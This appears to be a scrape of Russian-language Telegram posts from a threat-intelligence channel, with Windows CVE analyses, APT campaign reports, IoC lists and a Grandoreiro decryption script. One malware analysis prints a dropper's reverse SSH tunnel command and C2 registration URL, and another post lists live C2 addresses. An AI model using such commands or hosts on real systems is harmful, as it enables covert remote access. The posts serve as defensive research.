Уязвимость находилась в библиотеке
dwmcore.dll
в функции CPrimitiveGroupDrawListBrush::IsColorConversionRequired
(скриншот 1). При совместном использовании классов СSurfaceBrush
и CPrimitiveGroup
она позволяла достичь кода, который осуществляет вычисление положения экземпляра класса CDrawListBitmap
в массиве drawListBitmap_Vec
, располагающемся, в свою очередь, в экземпляре класса CPrimitiveGroupDrawListGenerator
. При определенном сочетании свойств экземпляров
СSurfaceBrush
и CPrimitiveGroup
могла сложиться ситуация, при которой указатель drawListBitmap_Vec
был бы равен нулю и все вычисления свелись бы только к работе с индексом, а его значение полностью контролировалось бы атакующим и имело размер DWORD
. Таким образом можно было бы перехватить указатель на объект CDrawListBitmap
(скриншот 2).#escvr #win #cve
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
💿 Мы как-то рассказывали про использование VHDX-файла в атаках и почему это удобно (нет, это не призыв к действию). Сам пост вы можете найти по ссылке. Тогда же мы
🕵️♂️ Спешим вам напомнить про группировку APT-C-60. Это кибершпионская группа, впервые выявленная в 2021 году. Она нацелена на промышленные компании, особенно на производителей полупроводников в Южной Корее, а также на объекты в Восточной Азии.
Группировка использует фишинговые письма с вредоносными вложениями и эксплуатирует уязвимости в программном обеспечении (среди которых уязвимости в WPS Office) для внедрения вредоносного ПО под названием SpyGlace
В последнее время группировка использует уязвимости в продуктах WPS Office (CVE-2024-7262), однако ранее в своих атаках она как раз использовали виртуальный диск. В сентябре 2024 года мы заметили один из новых дисков и решили, что будет полезно рассказать об этом.
Другие исследователи связывают эту группировку с одним общим кластером под названием DarkHotel. Мы покажем, откуда взялась такая взаимосвязь, и еще раз убедимся, что исследовать метаданные — это важно.
☕️ Новое исследование можно найти на нашем сайте.
Приятного чтения!
#TI #news #APT
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
📲 Облачные сервисы от оператора «МеХ аФон»
Новости с полей: команда PT ESC наблюдает новую кампанию группировки Cloud Atlas, нацеленную на государственные организации из России и стран СНГ. Про эту группировку мы рассказывали в нашем исследовании APT Cloud Atlas: Unbroken Threat и в посте.
📝 В качестве исходного вектора в своих атаках злоумышленники традиционно используют фишинговые письма с вредоносным вложением «
Примечательно, что атакующие не изменяют себе и с 2014 года используют облачные сервисы. При этом они продолжают экспериментировать, и раз за разом в их арсенал добавляются новые популярные платформы. Поэтому в первую очередь мы настоятельно рекомендуем проверить все сессии по протоколу «Яндекс Диск WebDAV» (
IoCs:
Happy hunting and stay tuned!
#hunt #detect #ioc #apt #news
@ptescalator
Новости с полей: команда PT ESC наблюдает новую кампанию группировки Cloud Atlas, нацеленную на государственные организации из России и стран СНГ. Про эту группировку мы рассказывали в нашем исследовании APT Cloud Atlas: Unbroken Threat и в посте.
О представлении информации.doc
» (VirusTotal 0/62). Рассылка осуществляется с адресов @internet.ru
. Такой домен почтового адреса можно получить при регистрации на сервисе mail.ru
.Примечательно, что атакующие не изменяют себе и с 2014 года используют облачные сервисы. При этом они продолжают экспериментировать, и раз за разом в их арсенал добавляются новые популярные платформы. Поэтому в первую очередь мы настоятельно рекомендуем проверить все сессии по протоколу «Яндекс Диск WebDAV» (
webdav.yandex.ru
) и запросы через Google Sheets API (oauth2.googleapis.com
, sheets.googleapis.com
).IoCs:
mehafon.com
technoguides.org
9943fee873c0642216d1578fc4373648b670b5bc47a8bf37366063041518f8b2
Happy hunting and stay tuned!
#hunt #detect #ioc #apt #news
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Какие еще легитимные тулы по типу ngrok будут использовать хакеры в будущем? ☹️
Anonymous Poll
3%
expose.dev
3%
tunnelin.com
23%
calc.exe
2%
packetriot.com
2%
inlets.dev
23%
ssh.exe
8%
theboroer.github.io/localtunnel-www
1%
pagekite.net
25%
notepad.exe
11%
cloudflared
Надеюсь, вы помните, что у нас есть публичный репозиторий правил Suricata (писали о запуске ресурса в другом посте) и настроили
suricata-update
на поддержку официального источника правил ptrules/open
?Если что, то вот ссылочка на репозиторий.
Не одними уязвимостями и хактулами живем 🙂
Мы, команда сетевой экспертизы антивирусной лаборатории PT ESC, провели большую работу по актуализации правил, направленных на детектирование активности вредоносного ПО, и вот — выкладываем часть своей экспертизы для общего пользования.
Из интересного:
— загрузчик RustyNet, стилер WorldWind, RAT'ник Slam, о которых писали ранее (в этом посте, этом и этом);
— вредонос для Android: SpyNote, Hydra, Zanubis;
— ужасный RAT'ник XWorm и много других интересных образцов.
Все правила вы можете найти на нашем сайте.
ВПО не пройдет, happy hunting!
#suricata #network #signature #rules
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegram
ESCalator
Слышали ли вы про публичный репозиторий Suricata-правил Attack Detection?
Да это яяяя Внутри большой команды PT Expert Security Center есть отдельная группа экспертов, главная задача которых — разрабатывать правила обнаружения для сетевых средств защиты.…
Да это яяяя Внутри большой команды PT Expert Security Center есть отдельная группа экспертов, главная задача которых — разрабатывать правила обнаружения для сетевых средств защиты.…
Прием, прием, нас слышно? 😲
Несмотря на то что хакеры в последнее время обленились и все чаще не разрабатывают ничего своего, изредка все же встречаются оригинальные идеи атак.
В архиве с громким названием
🎇 Не будем вестись на яркие картинки и копнем глубже. При помощи sfextract потрошим .NET-установщик. Среди распакованных файлов находим
Библиотека содержит огромное количество легитимных классов «1С», и сам файл с первого взгляда выглядит как легитимный модуль. Но при поиске точек взаимодействия с ресурсами находим пропатченный класс \_1CManifestDelegateRunner.
В методе InitManifest расшифровывают ресурс
📏 10 исполняемых файлов
📏 6 скриптов
📏 7 файлов ресурсов и конфигов
Большинство файлов — это полный набор для настройки SSH-соединения, публичные и приватные ключи и конфиги. Скрипты выполняют следующие действия:
📏 Создают нового юзера с кредами:
📏 Копируют все файлы в папку
📏 Запускают SSHD и ssh-agent, настроив публичный и приватный ключ
📏 Запускают ntrights с параметрами
📏 Запускают таинственный файл
❔ На последнем пункте остановимся поподробнее, так как shh-tunnel.exe не является частью стандартного SSH. Этот экзешник написан на Go и представляет собой инструмент для установки туннеля, названный нами
В случае когда
😌 🐱 🐱
Сам Go2Tunnel после создания туннеля только спити ест и проверяет, работает ли сервер, при помощи команды ps1:
Если ответа нет, то SSH-процесс прерывают, делают резолв адреса из конфига и заново запускают туннель.
🎇 IoCs:
#TI #phishing #ioc
@ptescalator
Несмотря на то что хакеры в последнее время обленились и все чаще не разрабатывают ничего своего, изредка все же встречаются оригинальные идеи атак.
В архиве с громким названием
1С_модуль_заказа_дрон-v11.zip
лежит файлик СВЯЗЬ РЭБ список Гум.exe
со знакомым всем желтым значком «1С». При запуске файла пользователь видит стандартное окно загрузки «1C:Enterprise 8.3» с последующим открытием базы данных (скриншот 1). 1C_Module.dll
с подозрительно объемными ресурсами. Библиотека содержит огромное количество легитимных классов «1С», и сам файл с первого взгляда выглядит как легитимный модуль. Но при поиске точек взаимодействия с ресурсами находим пропатченный класс \_1CManifestDelegateRunner.
В методе InitManifest расшифровывают ресурс
_1C_Module.tmp
и сохраняют его в папке temp. Расшифровываемый файл оказывается Go-дроппером, который расшифровывает 2️⃣3️⃣ файла. Среди них:Большинство файлов — это полный набор для настройки SSH-соединения, публичные и приватные ключи и конфиги. Скрипты выполняют следующие действия:
$sshUserName = "config"
$sshUserPass = "[REDACTED]"
C:\Program Files\System Event Service
-u "NT SERVICE\SSHD" +r SeAssignPrimaryTokenPrivilege
shh-tunnel.exe
или же впоследствии переименование — syseventservice-update.exe
Go2Tunnel
. Он вытаскивает из рядом лежащего конфига ssh_tunnel_config
(или syseventservice-update_config
) порты для создания туннеля:
C:\\Program Files\\System Event Service\\ssh.exe -R <ServerTunnelPort> :127.0.0.1:22 -N -T -i \"C:\\Program Files\\System Event Service\\event-server\" -o StrictHostKeyChecking=no -o ExitOnForwardFailure=yes -o ServerAliveInterval=45 -p<ServerSshPort> <ServerUserLogin>@<serverHostname>
В случае когда
serverTunnelPort
не указан, выполняется POST-запрос по следующему адресу:
http://<serverHostname>:<ServerWebPort>/tunnel/register
Сам Go2Tunnel после создания туннеля только спит
-Command "Get-NetTCPConnection -RemoteAddress <serverHostname> -RemotePort <ServerSshPort> -State Established -OwningProcess <sshProcess_Pid>"
Если ответа нет, то SSH-процесс прерывают, делают резолв адреса из конфига и заново запускают туннель.
15b3dcd795d417c69a627e13382800cc0cf005e9f5d0345e22a02f460b052ea1
2de2c9ab37ce5abfcd7e9018b1cb00066209b0b9ecdf70249148f53389dca5b1
5faa4da85e2657682fd40f5a86d61e87a3e70c3dff81335f226437c755a89f4a
6aa1fc0c2b7a01952b92e7af4f69fc602d34da95a872c57e7cfe34e918086c89
957a9705b200cd0f059d62d7b21e97db260b9b6c0c5ddf20c38d236103cb799b
fac77b7f1150c00dd5ca9da0f93e2f073a7eb70e2f4fd82a267afbc938a6e175
16.16.179.83
5.252.22.10
#TI #phishing #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Через что злодеи закрепляются у вас на винде? 😈
Anonymous Poll
7%
HKLM\SYSTEM\CurrentControlSet\Services 👀
4%
%SystemRoot%\SYSVOL\domain\Policies\{GUID}\User\Scripts\Logon 👋
4%
Прищепка ☹️
10%
Windows\System32\Tasks 👨💻
9%
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 🛫
6%
Скотч 🫠
1%
\\.\root\subscription ✔️
5%
%SystemRoot%\System32\GroupPolicy\Machine\Scripts\Startup 😎
14%
Software\Microsoft\Windows\CurrentVersion\Run 🏃♂️
40%
Трудовой договор 😏
Not a Pwn2Own bug 🙂
CVE-2024-43641: ошибка типа CWE-190 позволяла переполнить счетчик ссылок на экземпляр
Для того чтобы достигнуть уязвимого кода, необходимо открыть или создать ключ реестра в режиме транзакций. Сделать это можно через функцию
Для того чтобы уязвимость «сдетонировала», необходимо прокрутить значение счетчика ссылок так, чтобы его значение стало меньше реального количества операций, записанных в рамках транзакции. Если это условие будет соблюдено, то после транзакции ячейка
На третьем скриншоте — часть функции
🩹 О патче
Патч переработал то, как подсистема Cоnfiguration Manager (СM) работает со ссылками на
К счастью, вряд ли уязвимость можно отнести к эксплуатабельным, так как, чтобы переполнить счетчик ссылок, последовательно увеличивая его на 1, потребуется очень много времени, да и окно, в рамках которого у нас есть возможность «подсунуть» что-то, слишком маленькое и неконтролируемое.
#cve #escvr
@ptescalator
CVE-2024-43641: ошибка типа CWE-190 позволяла переполнить счетчик ссылок на экземпляр
_CM_KEY_SECURITY
. Уязвимый код располагался в ntoskrnl.exe
— в функции CmpSetSecurityDescriptorInfo (скриншот 1).Для того чтобы достигнуть уязвимого кода, необходимо открыть или создать ключ реестра в режиме транзакций. Сделать это можно через функцию
RegCreateKeyTransacted
. Так как нет ограничения на количество операций, которые могут быть записаны в рамках одной транзакции, мы можем последовательно вызывать функцию NtSetSecurityObject
. И каждый такой вызов будет увеличивать счетчик ссылок на 1. Для того чтобы уязвимость «сдетонировала», необходимо прокрутить значение счетчика ссылок так, чтобы его значение стало меньше реального количества операций, записанных в рамках транзакции. Если это условие будет соблюдено, то после транзакции ячейка
_CM_KEY_SECURITY
будет освобождена раньше, чем закончатся операции, которые нужно завершить, что приведет к использованию освободившейся памяти (скриншот 2).На третьем скриншоте — часть функции
CmpDereferenceSecurityNode
, отвечающая за уменьшение числа ссылок и освобождение _CM_KEY_SECURITY
.Патч переработал то, как подсистема Cоnfiguration Manager (СM) работает со ссылками на
_CM_KEY_SECURITY
, добавив как минимум две новые функции — CmpKeySecurityDecrementReferenceCount
и CmpKeySecurityIncrementReferenceCount
, которые теперь будут выдавать bugcheck, если количество ссылок станет равным нулю или после инкремента их будет меньше, чем до (скриншот 4).К счастью, вряд ли уязвимость можно отнести к эксплуатабельным, так как, чтобы переполнить счетчик ссылок, последовательно увеличивая его на 1, потребуется очень много времени, да и окно, в рамках которого у нас есть возможность «подсунуть» что-то, слишком маленькое и неконтролируемое.
#cve #escvr
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Через блокчейн к данным ⭐️
Исследователи из Socket и Checkmarx рассказали об интересной вредоносной кампании в NPM. Злоумышленники мимикрировали под плагины для Puppeteer и блокчейн-клиенты. Для получения IP-адреса актуального командного сервера используется смарт-контракт в блокчейне Ethereum😦
Из занятного — в коде библиотек используется несколько комментариев на русском:
•
•
•
Socket предлагает быть осторожным с атрибуцией, так как это может быть следствием переиспользования кода либо сделано нарочно.
В зависимости от вашей платформы будет скачан и запущен один из следующих исполняемых файлов:
Мы изучили кампанию подробнее и обнаружили еще несколько интересных деталей.
1️⃣ Несмотря на то что Socket и Checkmarx приводят только один IP-адрес в качестве сетевого IoC, функция назначения нового URL в смарт-контракте вызывалась несколько раз. Всего нам известно о пяти адресах, и самым ранним из них был😈 , остальные представляют собой VPS-серверы.
2️⃣ Агент умеет закрепляться в системе и так же, как и JS-библиотеки, скачивающие и запускающие его, получать C2 через блокчейн. Исполняемый файл представляет собой Node.js Single Executable Application, который упаковывает проект и интерпретатор JS в единый файл.
3️⃣ Агент периодически опрашивает сервер на предмет команд в виде JS-кода. Первая нагрузка собирает информацию о системе жертвы: модель процессора, количество ядер, объем оперативной памяти, данные о видеокарте. Полученная информация отправляется обратно на сервер.
4️⃣ Агенты получают просто true, если нет новых задач. Из интересного: корень HTTP-сервера возвращал следующую ошибку:
Эта строка проливает свет на возможные цели злоумышленника☕️
IoCs:
#ti #npm #pyanalysis #scs
@ptescalator
Исследователи из Socket и Checkmarx рассказали об интересной вредоносной кампании в NPM. Злоумышленники мимикрировали под плагины для Puppeteer и блокчейн-клиенты. Для получения IP-адреса актуального командного сервера используется смарт-контракт в блокчейне Ethereum
Из занятного — в коде библиотек используется несколько комментариев на русском:
•
console.error("Ошибка при получении IP адреса:", err)
;•
console.error("Ошибка при запуске файла:", _0x88fda8)
;•
console.error("Ошибка установки:", _0x14ce94)
;Socket предлагает быть осторожным с атрибуцией, так как это может быть следствием переиспользования кода либо сделано нарочно.
В зависимости от вашей платформы будет скачан и запущен один из следующих исполняемых файлов:
node-win.exe
, node-linux
, node-macos
. Ниже мы будем называть их агентами.Мы изучили кампанию подробнее и обнаружили еще несколько интересных деталей.
1️⃣ Несмотря на то что Socket и Checkmarx приводят только один IP-адрес в качестве сетевого IoC, функция назначения нового URL в смарт-контракте вызывалась несколько раз. Всего нам известно о пяти адресах, и самым ранним из них был
http://localhost:3001
2️⃣ Агент умеет закрепляться в системе и так же, как и JS-библиотеки, скачивающие и запускающие его, получать C2 через блокчейн. Исполняемый файл представляет собой Node.js Single Executable Application, который упаковывает проект и интерпретатор JS в единый файл.
3️⃣ Агент периодически опрашивает сервер на предмет команд в виде JS-кода. Первая нагрузка собирает информацию о системе жертвы: модель процессора, количество ядер, объем оперативной памяти, данные о видеокарте. Полученная информация отправляется обратно на сервер.
4️⃣ Агенты получают просто true, если нет новых задач. Из интересного: корень HTTP-сервера возвращал следующую ошибку:
{"statusCode":404,"message":"ENOENT: no such file or directory, stat '/root/botnet-server/public/index.html'"}
Эта строка проливает свет на возможные цели злоумышленника
IoCs:
http://194.53.54.188:3001
http://193.233.201.21:3001
http://45.125.67.172:1337
http://45.125.67.172:1228
194.53.54.188
193.233.201.21
45.125.67.172
#ti #npm #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Да что не так с этим AES? ❔
Злоумышленники часто применяют шифрование для обфускации частей образцов ВПО, которые могут представлять наибольший интерес при исследовании. Когда аналитик обнаруживает такие участки кода, он изучает алгоритм шифрования, и иногда, быстро узнав алгоритм, не видит смысла изучать его полностью.
На примере одного из семейств ВПО, замеченного в атаках на Латинскую Америку, разберем случай, в котором применяется продвинутая техника шифрования, но прячется она внутри самой, казалось бы, классической.
👾 Grandoreiro — бразильский банковский троян, который активен с 2016 года по сегодняшний день. Он доставляется в систему с помощью загрузчика, который получает ссылку на скачивание полезной нагрузки от С2-сервера.
Предыдущие схемы дешифрования строк в Grandoreiro (в частности, в загрузчике) включали кастомное декодирование зашифрованных строк, ключа AES и IV путем простой замены. Эти компоненты дешифровались с помощью XOR, и далее шифротекст расшифровывался окончательно с помощью ключа AES и IV в режиме AES CBC 256 бит.
🧐 При анализе недавних образцов Grandoreiro была замечена новая для этого семейства техника шифрования, которая применяется для усложнения анализа, — Ciphertext Stealing (CTS). Это режим шифрования, который используется, когда открытый текст не кратен размеру блока.
Например, одна из наиболее известных схем паддинга (PKCS #7) дополняет последний блок байтами, чтобы гарантировать, что он по размеру совпадает с полным блоком. CTS работает без паддинга. Его работу мы заметим над последним неполным блоком данных (который не кратен размеру блока).
Что именно происходит:
1️⃣ Шифруется последний полный блок.
2️⃣ Зашифрованный последний полный блок «ксорится» с частичным (неполным) блоком.
Такой способ предоставляет возможность шифровать открытый текст произвольной длины без добавления паддинга, сохраняя исходный размер данных.
Чтобы на практике понять, как это работает, посмотрим на реализацию алгоритма:
Метод довольно оригинальный, и в Grandoreiro он прячется внутри функций, которые реализуют обычный, на первый взгляд, AES.
Поэтому, прежде чем начинать писать скрипты расшифровки, видя заветную аббревиатуру, следует посмотреть на код внимательно — убедиться, что используется действительно классическая версия алгоритма, и не тратить часы в поиске ответа на вопрос «ну почему оно не расшифровывается?».
#TI #tip #malware
@ptescalator
Злоумышленники часто применяют шифрование для обфускации частей образцов ВПО, которые могут представлять наибольший интерес при исследовании. Когда аналитик обнаруживает такие участки кода, он изучает алгоритм шифрования, и иногда, быстро узнав алгоритм, не видит смысла изучать его полностью.
На примере одного из семейств ВПО, замеченного в атаках на Латинскую Америку, разберем случай, в котором применяется продвинутая техника шифрования, но прячется она внутри самой, казалось бы, классической.
Предыдущие схемы дешифрования строк в Grandoreiro (в частности, в загрузчике) включали кастомное декодирование зашифрованных строк, ключа AES и IV путем простой замены. Эти компоненты дешифровались с помощью XOR, и далее шифротекст расшифровывался окончательно с помощью ключа AES и IV в режиме AES CBC 256 бит.
Например, одна из наиболее известных схем паддинга (PKCS #7) дополняет последний блок байтами, чтобы гарантировать, что он по размеру совпадает с полным блоком. CTS работает без паддинга. Его работу мы заметим над последним неполным блоком данных (который не кратен размеру блока).
Что именно происходит:
1️⃣ Шифруется последний полный блок.
2️⃣ Зашифрованный последний полный блок «ксорится» с частичным (неполным) блоком.
Такой способ предоставляет возможность шифровать открытый текст произвольной длины без добавления паддинга, сохраняя исходный размер данных.
Чтобы на практике понять, как это работает, посмотрим на реализацию алгоритма:
cipher = AES.new(aes_key, AES.MODE_ECB)
encr = b"\x00"*16
initial_key = cipher.encrypt(encr) # your value here
block_size = 16
total_blocks = len(ciphered_data) // block_size
decrypted_data = bytearray()
previous_block = initial_key
if total_blocks:
# Decrypt all complete blocks
for i in range(total_blocks):
current_block = ciphered_data[i * block_size:(i + 1) * block_size]
key = previous_block
decr_block = cipher.decrypt(current_block)
decrypted_data.extend(bytes(x ^ y for x, y in zip(decr_block, key)))
previous_block = current_block
# Handle the last block with ciphertext stealing
if len(ciphered_data) % block_size > 0:
last_full_block = previous_block
if total_blocks:
last_full_block = cipher.encrypt(last_full_block)[:len(ciphered_data) - (i + 1) * block_size] #take as much bytes off of the last full block (encrypted) as remained yet to decrypt (ciphertext)
partial_block = ciphered_data[(i + 1) * block_size:len(ciphered_data)] #bytes left to decrypt, not a multiple of the block size
else:
last_full_block = cipher.encrypt(last_full_block)[:len(ciphered_data)]
partial_block = ciphered_data[:len(ciphered_data)]
stolen_block = bytes(x ^ y for x, y in zip(partial_block, last_full_block))
decrypted_data.extend(stolen_block)
Метод довольно оригинальный, и в Grandoreiro он прячется внутри функций, которые реализуют обычный, на первый взгляд, AES.
Поэтому, прежде чем начинать писать скрипты расшифровки, видя заветную аббревиатуру, следует посмотреть на код внимательно — убедиться, что используется действительно классическая версия алгоритма, и не тратить часы в поиске ответа на вопрос «ну почему оно не расшифровывается?».
#TI #tip #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
📑 TaxOff: кажется, у вас… бэкдор
В третьем квартале специалисты TI-департамента экспертного центра безопасности Positive Technologies (PT Expert Security Center, PT ESC) обнаружили серию атак, направленных на государственные структуры России. Связей с уже известными группами, использующими такие же техники, нам установить не удалось.
😐 Основными целями киберпреступников были шпионаж и закрепление в системе для развития последующих атак. Эту группировку мы назвали TaxOff из-за использования писем на правовые и финансовые темы в качестве приманок. В своих атаках злоумышленники применяли написанный минимум на C++17 бэкдор, который мы назвали Trinper из-за артефакта, используемого при соединении с C2-сервером.
📩 Начальный вектор заражения — фишинговые письма. Мы обнаружили несколько таких: в одном была ссылка на Яндекс Диск с вредоносным содержимым, связанным с «1С», в другом — фальшивый установщик ПО для заполнения справок о доходах и расходах, которые госслужащим необходимо подавать каждый год. И ежегодно это ПО обновляется и становится целью злоумышленников, распространяющих вредоносы под видом обновлений.
Trinper — написанный на C++ многопоточный бэкдор с гибкой конфигурацией, в котором используются шаблонный метод в качестве паттерна проектирования, контейнеры STL, буферный кэш для повышения производительности.
🧐 Подробный анализ бэкдора и действий группировки TaxOff, а также индикаторы компрометации вы можете найти в отчете.
#TI #APT #IOC #Reverse
@ptescalator
В третьем квартале специалисты TI-департамента экспертного центра безопасности Positive Technologies (PT Expert Security Center, PT ESC) обнаружили серию атак, направленных на государственные структуры России. Связей с уже известными группами, использующими такие же техники, нам установить не удалось.
Trinper — написанный на C++ многопоточный бэкдор с гибкой конфигурацией, в котором используются шаблонный метод в качестве паттерна проектирования, контейнеры STL, буферный кэш для повышения производительности.
🧐 Подробный анализ бэкдора и действий группировки TaxOff, а также индикаторы компрометации вы можете найти в отчете.
#TI #APT #IOC #Reverse
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM